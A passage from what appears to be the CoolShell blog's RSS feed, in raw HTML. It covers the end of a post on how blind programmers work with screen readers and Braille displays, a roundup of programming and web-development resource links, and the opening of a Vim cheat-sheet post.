target=\"_blank\">Emacspeak</a>虽然有时候有点迟钝）。在实习过程中，我做了很多和Z/OS相关的编程工作。我使用rlogin通过cygwin登录大型机的USS系统，并使用C3270作为其3270仿真器来访问大型机的ISPF部分。</p>\n<p>我依赖于合成语音系统，也需要 Braille display， 我发现使用合成语音系统很快，但是使用 Braille display有时候有些问题。比如程序有太多的嵌套括号。</p></blockquote>\n<p>关于Braille display，又叫盲文显示机，是能以盲文进行输出的电子机械式设备。一般来说，该设备通过在平坦表面上打孔来实现点阵的表现。有了该设备的帮助，无法使用一般的显示设备的失明用户也能够阅读文字。如下所示。</p>\n<p><span id=\"more-5514\"></span></p>\n<p style=\"text-align: center;\"><a href=\"http://www.google.com.hk/search?q=Braille+display&amp;hl=zh-CN&amp;safe=strict&amp;prmd=ivns&amp;tbm=isch&amp;tbo=u&amp;source=univ&amp;sa=X&amp;ei=zrV4Tt6YOemtiQfRkIzhDA&amp;ved=0CDMQsAQ&amp;biw=1280&amp;bih=677\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"http://www.afb.org/afbpress/Image.asp?ImageID=aw050607fig1\" alt=\"A woman using a braille display with a QWERTY keyboard, attached to a laptop computer.\" width=\"400\" height=\"319\" /></a></p>\n<p>第二个答案是<a href=\"http://stackoverflow.com/users/56241/saqib\">Saqib</a>提供的，其个人主页是<a href=\"http://www.saqibshaikh.com/\">http://www.saqibshaikh.com/</a>，目前在Microsoft的Bing项目组，他回答到：</p>\n<blockquote><p>我是盲人，我对Windows, Mac, Linux 和 DOS有13年的编程经验了，我会的编程语言是C/C++, Python, Java, C#或是其它相似的语言，虽然问题问的是怎么来设置盲人的环境，但是我想从盲人怎么使用电脑来回答。</p>\n<p>有些人使用“语音环境”，如T. V. Raman程序员和Emacspeak 环境。这样的环境需要有读屏程序来监控操作系统的行为，并通过合成语音系统或是Braille display 来告诉盲人屏幕上有什么。这样一样，盲人就可以操作任何的应用程序了。</p>\n<p>我个人这段时候使用Visual Studio 2008（注：作者是09年回的这个贴的），用其来做一些修改。我关闭了一些VS2008的功能，如显示错误，因为这会让我分心。在加入微软以前，我都是在用notepad这样的东西开发程序。</p>\n<p>对于读屏软件，我需要设置一下，以便其告诉我缩进。老实说我不太关心这个事，因为VS2008对程序缩进做得很好。但是对于Python来说，这个功能相当重要。最终，Emacspeak 可以使用不同的声音来让我区分缩进的语句块，以及一些语法（关键词，注释，标识，等等。）</p></blockquote>\n<p>对于<a href=\"http://stackoverflow.com/users/56241/saqib\">Saqib</a>，大家有兴趣可以看看他的视频访谈：<a href=\"http://channel9.msdn.com/blogs/dan/saqib-shaikh-and-scott-hanselman-designing-for-accessibility\" target=\"_blank\">Saqib Shaikh and Scott Hanselman: Designing for Accessibility</a></p>\n<p>这个问题中多次提到了Google的盲人程序员 T.V. Raman，我在网上搜了一下他，他前段时间来过北京，新京报在今年早期报道过他——《<a href=\"http://epaper.bjnews.com.cn/html/2011-01/16/content_192258.htm\" target=\"_blank\">T.V 拉蒙，互联网界也有“盲剑客” ——Google盲人工程师讲述软件设计之路</a>》</p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http://epaper.bjnews.com.cn/images/2011-01/16/B13/b13116cb001.gif\" alt=\"\" /></p>\n<p>在这篇报道中，他经历过IBM, Adobe和Google 这三个公司，他可以在23秒内复原盲人魔方，1989年他就得到一台给盲人用的语音合成器和当时最先进的读屏软件。他现在使用电脑 没有任何障碍，他天天都上网浏览信息，他还可以使用特别的手机来看地图。</p>\n<p>不知道你看完这些人的经历后，你有什么感觉？</p>\n<ul>\n<li>你是否会觉得技术的力量和社会的尊重让他们和正常人一样可以使用电脑？</li>\n<li>你是否会觉得我们这些正常人是不是平时抱怨的太多了呢？还有什么理由不努力的呢？</li>\n</ul>\n<div>（全文完）</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5514.html\">如果你看不见你还能编程吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5514.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>115</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些文章和各种资源</title>\n\t\t<link>https://coolshell.cn/articles/5224.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5224.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 20 Sep 2011 00:32:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5224</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是近期收录的一些文章和资源，希望对你有用。 系统方面 印度的电子商务网站flipkart的性能扩展（PPT） http://www.slideshare.n...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5224.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是近期收录的一些文章和资源，希望对你有用。</p>\n<h4>系统方面</h4>\n<ul>\n<li><strong>印度的电子商务网站flipkart的性能扩展</strong>（PPT） <a href=\"http://www.slideshare.net/sids/how-flipkart-scales-php\">http://www.slideshare.net/sids/how-flipkart-scales-php</a>，都是一些最基本的东西，对于初学者来说很不错。PPT做的也不错。</li>\n</ul>\n<ul>\n<li><strong>Tagged.com的扩展之路</strong> &#8211; 1亿用户，1000台服务器，50亿的PV <a href=\"http://highscalability.com/blog/2011/8/8/tagged-architecture-scaling-to-100-million-users-1000-server.html\">http://highscalability.com/blog/2011/8/8/tagged-architecture-scaling-to-100-million-users-1000-server.html</a> 还是PHP的WEB站点。另外，<a href=\"http://highscalability.com/\" target=\"_blank\">highscalability.com</a>这个网站上有很多和高性能有关的文章，很不错。比如最新的：<a href=\"http://highscalability.com/blog/2011/9/16/stuff-the-internet-says-on-scalability-for-september-16-2011.html\">Stuff The Internet Says On Scalability For September 16, 2011</a></li>\n</ul>\n<p><a href=\"http://highscalability.com/\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" id=\"banner\" class=\"aligncenter\" title=\"High Scalability\" src=\"http://highscalability.com/storage/HSBannerTrebuchet.jpg\" alt=\"High Scalability\" width=\"577\" height=\"84\" /></a></p>\n<ul>\n<li><strong>浏览器是怎么工作的</strong>？ <a href=\"http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/\" target=\"_blank\">http://www.html5rocks.com/en/tutorials/internals/howbrowserswork</a>/ 相当不错的一个教程，告诉你浏览器里面是怎么搞的，很不错。如果图片看不到，可以<a href=\"http://taligarsiel.com/Projects/howbrowserswork1.htm\" target=\"_blank\">看这里</a>。如果你英文不是太好，你可以看看<a href=\"http://blog.csdn.net/zzzaquarius/article/details/6532299\" target=\"_blank\">中译版</a>，译得并不是太好。</li>\n</ul>\n<figure style=\"width: 624px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" title=\"Mozilla's Gecko rendering engine main flow\" src=\"http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/image008.jpg\" alt=\"Mozilla's Gecko rendering engine main flow\" width=\"624\" height=\"289\" /><figcaption class=\"wp-caption-text\">Mozilla&#39;s Gecko rendering engine main flow</figcaption></figure>\n<ul>\n<li><strong>怎么使用epoll的示例</strong> <a href=\"https://banu.com/blog/2/how-to-use-epoll-a-complete-example-in-c/\">https://banu.com/blog/2/how-to-use-epoll-a-complete-example-in-c/</a></li>\n</ul>\n<ul>\n<li><strong>Intel C/C++ 64位程序开发教程</strong> <a href=\"http://software.intel.com/en-us/articles/lessons-on-development-of-64-bit-cc-applications/\" target=\"_blank\">http://software.intel.com/en-us/articles/lessons-on-development-of-64-bit-cc-applications/</a> 本站以前也介绍过一个关于<a title=\"64位平台C/C++开发注意事项\" href=\"https://coolshell.cn/articles/3512.html\" target=\"_blank\">64位C/C++的编程注意事项</a>。</li>\n</ul>\n<div><span id=\"more-5224\"></span></div>\n<h4><span class=\"Apple-style-span\" style=\"font-weight: 800;\">各种教程</span></h4>\n<ul>\n<ul>\n<li><strong>Version Control by Example</strong>(电子书) <a href=\"http://www.ericsink.com/vcbe/\">http://www.ericsink.com/vcbe/</a></li>\n</ul>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"http://www.ericsink.com/scm/1802_image001.jpg\" alt=\"\" width=\"240\" height=\"315\" /><strong><strong><br />\n</strong></strong></p>\n<ul>\n<li><strong><strong>SQL注入口袋书</strong></strong>（<a href=\"https://docs.google.com/Doc?docid=0AZNlBave77hiZGNjanptbV84Z25yaHJmMjk&amp;pli=1#Allowed_Intermediary_Character_30801873723976314\" target=\"_blank\">Google Doc</a> 需翻墙）<strong>，</strong>涵盖MySQL, MSSQL和Oracle，我觉得可以用来做你的程序的安全测试。<strong><br />\n</strong></li>\n</ul>\n<ul>\n<li><strong>如何写Vim的插件</strong>（教程）<a href=\"http://stevelosh.com/blog/2011/09/writing-vim-plugins/\" target=\"_blank\">http://stevelosh.com/blog/2011/09/writing-vim-plugins/</a> 相信你已读过“<a title=\"给程序员的VIM速查卡\" href=\"https://coolshell.cn/articles/5479.html\" target=\"_blank\">VIM简明攻略</a>” 并收藏了 “<a title=\"给程序员的VIM速查卡\" href=\"https://coolshell.cn/articles/5479.html\" target=\"_blank\">vim的速查卡</a>”，随着你的vim的能力加强，是时候搞搞vim的插件了。</li>\n</ul>\n<ul>\n<li><strong>一个超有意思的学习Javascript的在线课件了</strong>。下面的这个网页上有一个Web的命令行，你可以跟着他的提示去输入一些命令，并以此来学习Javascript，这个创意真是太好了，我觉得这应该推广到我们的学校中去，不是只听老师讲，还需要大家一起来动作。 <a href=\"http://www.codecademy.com/\" target=\"_blank\">http://www.codecademy.com/</a></li>\n</ul>\n<ul>\n<li><strong>一些各种各样的教程</strong> <a href=\"http://www.dickbaldwin.com/toc.htm\">http://www.dickbaldwin.com/toc.htm</a>  这些都是些入门的教程，仅当是练练英语了。</li>\n<ul>\n<li><a href=\"http://www.dickbaldwin.com/tocint.htm\">Introductory Java Tutorial</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocmed.htm\">Intermediate Java Tutorial </a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocadv.htm\">Advanced Java Tutorial</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocknowledge.htm\">Test Your Java Knowledge</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocjscript1.htm\">JavaScript Tutorial</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocxml.htm\">XML &#8212; eXtensible Markup Language</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocpyth.htm\">Python Programming Tutorial</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocCsharp.htm\">C# Programming Tutorial</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocdsp.htm\">Digital Signal Processing</a></li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><a href=\"http://www.dickbaldwin.com/Cosc1315/Pf00100Index.htm\">Object-Oriented Programming Fundamentals using C++</a></li>\n<li><a href=\"http://www.dickbaldwin.com/Cosc1315/Pfsg00100StudyGuideIndex.htm\">Object-Oriented Programming Fundamentals using C++ (Practice Tests)</a></li>\n<li><a href=\"http://www.dickbaldwin.com/Cosc1315/Slides/Pf00100MainSlideIndex.htm\">Object-Oriented Programming Fundamentals using C++ (Slides)</a></li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><a href=\"http://www.dickbaldwin.com/AdvOOP/AdvCpp00100Index.htm\">Advanced Object-Oriented Programming using C++</a></li>\n<li><a href=\"http://www.dickbaldwin.com/AdvOOP/PracticeTests/AdvCpp00100PracticeTestIndex.htm\">Advanced Object-Oriented Programming using C++ (Practice Tests)</a></li>\n<li><a href=\"http://www.dickbaldwin.com/AdvOOP/Slides/AdvCpMainSlideIndex.htm\">Advanced Object-Oriented Programming using C++ (Slides)</a></li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><a href=\"http://www.dickbaldwin.com/allegro/Allegro00100Index.htm\">Graphics Programming with Allegro and C++</a></li>\n<li><a href=\"http://www.dickbaldwin.com/allegro/PracticeTests/Allegro00100PracticeTestIndex.htm\">Graphics Programming with Allegro and C++ (Practice Tests)</a></li>\n<li><a href=\"http://www.dickbaldwin.com/allegro/Slides/AllegMainSlideIndex.htm\">Graphics Programming with Allegro and C++ (Slides)</a></li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><a href=\"http://www.austincc.edu/baldwin/Itnw1351Wireless/LabProjects/FwlProjIndex.htm\">Wireless Networking Lab Projects</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocalice.htm\">Learn to Program using Alice</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocHomeSchool.htm\">Computer Programming for Homeschool Students and Other Beginners</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocFlex.htm\">Programming with Adobe Flex</a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocActionScript.htm\">Object-Oriented Programming (OOP) with ActionScript </a></li>\n<li><a href=\"http://www.dickbaldwin.com/tocXNA.htm\">Programming with XNA Game Studio </a></li>\n</ul>\n</ul>\n<h4><strong>Web库</strong></h4>\n<ul>\n<li><strong>20 个 jQuery提示插件</strong>：<a href=\"http://zoomzum.com/jquery-tooltip-plugins/\">http://zoomzum.com/jquery-tooltip-plugins/</a></li>\n</ul>\n<ul>\n<li><strong>最近出的一个新的可以做Web幻灯片的Javscript</strong> <a href=\"http://imakewebthings.github.com/deck.js/#intro\">http://imakewebthings.github.com/deck.js/#intro</a> 当然，Web上做幻灯片的库太多了，大家可以看看wikipedia上的一个收集： <a href=\"http://en.wikipedia.org/wiki/Web-based_slideshow\">http://en.wikipedia.org/wiki/Web-based_slideshow</a></li>\n</ul>\n<ul>\n<li><strong><a href=\"http://code.google.com/p/google-api-php-client/\">Google APIs Client Library for PHP</a> &#8211; </strong>用PHP封装的各种Google API<br />\n<img decoding=\"async\" loading=\"lazy\" title=\"Google APIs Client Library for PHP\" src=\"https://coolshell.cn/wp-content/uploads/2011/09/Google-APIs-Client-Library-for-PHP.png\" alt=\"\" width=\"447\" height=\"62\" /></li>\n<ul>\n<li>Buzz API &#8211; <a href=\"https://code.google.com/p/google-api-php-client/source/browse/#svn%2Ftrunk%2Fexamples%2Fbuzz\">Sample</a></li>\n<li>Books API &#8211; <a href=\"https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/books/index.php\">Sample</a></li>\n<li>Latitude API &#8211; <a href=\"https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/latitude/index.php\">Sample</a></li>\n<li>Page Speed Online API &#8211; <a href=\"https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/pagespeed/index.php\">Sample</a></li>\n<li>Tasks API &#8211; <a href=\"https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/tasks/index.php\">Sample</a></li>\n<li>URL Shortener API &#8211; <a href=\"https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/urlshortener/index.php\">Sample</a></li>\n</ul>\n</ul>\n<ul>\n<li><strong>Django Google Chart</strong> <a href=\"http://publishedin.com/django-google-charts/\" target=\"_blank\">http://publishedin.com/django-google-charts/</a>  为Django封闭的Google 统计图API。</li>\n</ul>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https://s3.amazonaws.com/files_desu/django-google-charts-basic.png\" alt=\"django-google-charts\" /></p>\n<ul>\n<li><strong>一个新的HTML5+CSS3的JS库Kendo UI</strong>：<a href=\"http://demos.kendoui.com/\" target=\"_blank\">http://demos.kendoui.com/</a> 这样的JS库有很多，如比较经典的ExtJS, YUI 和 jQuery。不过大家可以试试这个库。其支持移动设备。</li>\n</ul>\n<p><a id=\"launch-image\" href=\"http://www.kendoui.com/aeroviewr/\"><img decoding=\"async\" class=\"aligncenter\" src=\"http://demos.kendoui.com/styles/aeroviewr.png\" alt=\"AeroViewr\" /></a></p>\n<h4><strong>HTML 5<br />\n</strong></h4>\n<ul>\n<li><strong>HTML5 Canvas 的开发指导</strong>：<a href=\"http://www.sitepoint.com/a-developer%E2%80%99s-guide-to-html5-canvas/\" target=\"_blank\">http://www.sitepoint.com/a-developer%E2%80%99s-guide-to-html5-canvas/</a></li>\n</ul>\n<ul>\n<li><strong>HTML5+ Javascript的游戏开发教程</strong>：<a href=\"http://gamedev.slashgame.net/2011/08/html5-game-development-tutorial.html\" target=\"_blank\">http://gamedev.slashgame.net/2011/08/html5-game-development-tutorial.html</a></li>\n</ul>\n<ul>\n<li><strong>HTML 5速查卡</strong>（PDF） <a href=\"http://www.thecssninja.com/talks/dnd_and_friends/assets/html5-cheat-sheet.pdf\">http://www.thecssninja.com/talks/dnd_and_friends/assets/html5-cheat-sheet.pdf</a></li>\n</ul>\n<ul>\n<li><strong>70 个 HTML5 的精彩示例</strong> <a href=\"http://www.instantshift.com/2011/07/05/70-inspirational-examples-of-websites-designed-with-html5/\">http://www.instantshift.com/2011/07/05/70-inspirational-examples-of-websites-designed-with-html5/</a></li>\n</ul>\n<h4> 编程规范</h4>\n<ul>\n<li><strong>The Art of Assembly Language Programming 汇编语言艺术</strong> <a href=\"http://www.arl.wustl.edu/~lockwood/class/cs306/books/artofasm/toc.html\">http://www.arl.wustl.edu/~lockwood/class/cs306/books/artofasm/toc.html</a></li>\n</ul>\n<ul>\n<li><strong>编程规范 if语句的简单规则</strong>：<a href=\"http://united-coders.com/christian-harms/basic-rules-for-code-readability-and-the-if-statement\">http://united-coders.com/christian-harms/basic-rules-for-code-readability-and-the-if-statement</a></li>\n</ul>\n<ul>\n<li><strong>Linux 内核C编程规范：</strong><a href=\"http://www.kernel.org/doc/Documentation/CodingStyle\" target=\"_blank\">http://www.kernel.org/doc/Documentation/CodingStyle</a></li>\n</ul>\n<ul>\n<li><strong>Google的C++编程规范：</strong><a href=\"http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml\">http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml</a></li>\n</ul>\n<ul>\n<li><strong>GNU的编程规范：</strong><a href=\"http://www.gnu.org/prep/standards/standards.html\">http://www.gnu.org/prep/standards/standards.html</a></li>\n</ul>\n<ul>\n<li>最后，强烈推荐你读一下Nokia的Qt的《<a href=\"http://developer.qt.nokia.com/wiki/API_Design_Principles\" target=\"_blank\">API Design Principles</a>》，其中的一条规则写成了本站的《<a title=\"千万不要把 bool 设计成函数参数\" href=\"https://coolshell.cn/articles/5444.html\" target=\"_blank\">千万不要用bool做函数参数</a>》</li>\n</ul>\n<h4><strong>其它</strong></h4>\n<ul>\n<li><strong>在OS X上使用gcc而不是xcode编译C++程序</strong> <a href=\"https://github.com/kennethreitz/osx-gcc-installer\">https://github.com/kennethreitz/osx-gcc-installer</a></li>\n</ul>\n<ul>\n<li><strong>声讨PHP的一个slids</strong> <a href=\"http://zakx.de/phprant-en.pdf\">http://zakx.de/phprant-en.pdf</a>， 前面说到的两个网站都是使用PHP做到，不过，你可以通过这个PDF了解一下PHP有哪些地方不好。</li>\n</ul>\n<ul>\n<li><strong>Infinite超级玛丽</strong>：(你可以比较一下，哪个版本不错)</li>\n<ul>\n<li>HTML5 版： <a href=\"http://mario.fromlifetodeath.com/\" rel=\"nofollow\">http://mario.fromlifetodeath.com/</a> (<a href=\"https://github.com/robertkleffner/mariohtml5\" target=\"_blank\">源码</a>)</li>\n<li>Java版：<a href=\"http://www.mojang.com/notch/mario/\">http://www.mojang.com/notch/mario/</a></li>\n<li>Flash版：<a href=\"http://www.supermariobrothers.org/infinite-mario.html\">http://www.supermariobrothers.org/infinite-mario.html</a></li>\n</ul>\n</ul>\n<p><em><strong>—— 更新 2011.9.20  21:00 ——</strong></em></p>\n<p>@<a href=\"https://coolshell.cn/articles/5224.html/comment-page-1#comment-82966\">xzhaoyang</a> 在留言中问我有没有C写CGI的文章，我看过最好的一篇是下面这篇：</p>\n<p><a href=\"http://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm\" target=\"_blank\">http://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm</a> （注意翻墙）</p>\n<div>（全文完）</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5224.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>43</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>给程序员的VIM速查卡</title>\n\t\t<link>https://coolshell.cn/articles/5479.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5479.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 16 Sep 2011 01:07:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Cheat Sheet]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5479</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前几天酷壳发布过“vim简明攻略”，不知道大家练得怎么样了。如果你练了一下，那么这里这个速查卡就会对你有帮助了。以前本站也有过一个（vim速查卡），不过其太简单...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5479.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前几天酷壳发布过“<a title=\"简明 Vim 练级攻略\" href=\"https://coolshell.cn/articles/5426.html\" target=\"_blank\">vim简明攻略</a>”，不知道大家练得怎么样了。如果你练了一下，那么这里这个速查卡就会对你有帮助了。以前本站也有过一个（<a title=\"Vim命令速查卡\" href=\"https://coolshell.cn/articles/150.html\" target=\"_blank\">vim速查卡</a>），不过其太简单了。我觉得这个很不错，很全，很直观。这个速查卡来自<strong><a href=\"http://michael.peopleofhonoronly.com/vim/\" target=\"_blank\">这里</a></strong>。其用颜色标注了级别：</p>\n<ul>\n<li><span style=\"background-color: #008000;\"><span style=\"color: #ffffff;\">  Green  </span></span> = 存活级</li>\n<li><span style=\"background-color: #ffff00;\">  Yellow  </span> = 感觉良好</li>\n<li><span 